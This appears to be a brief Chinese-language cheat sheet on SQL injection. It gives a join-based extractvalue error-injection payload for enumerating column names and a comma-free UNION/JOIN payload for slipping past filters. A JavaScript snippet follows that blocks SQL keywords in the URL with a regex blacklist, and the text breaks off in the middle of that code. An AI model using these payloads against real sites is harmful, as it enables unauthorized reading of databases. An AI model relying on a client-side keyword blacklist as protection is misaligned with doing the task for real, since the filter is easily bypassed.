Join注入技巧 join无名列报错注入 约束条件 在知到表名的前提下才能操作 注入语句 and extractvalue(1,concat(0x7e,(select * from (select * from users join users b using(id))c),0x7e)) 依次枚举即可 Join代替order by [过滤了逗号] payload union select * from (select 1) a join (select 2) b join (select 3)
js防止sql注入的参数过滤 <script language="javascript"> <!-- var url = location.search; var re = /select%20|update%20|delete%20|truncate%20|join%20|union%20|exec%20|insert%20|drop%20|count|’|"|;|>|<|%/i; var e = re.test(url); if(e) { a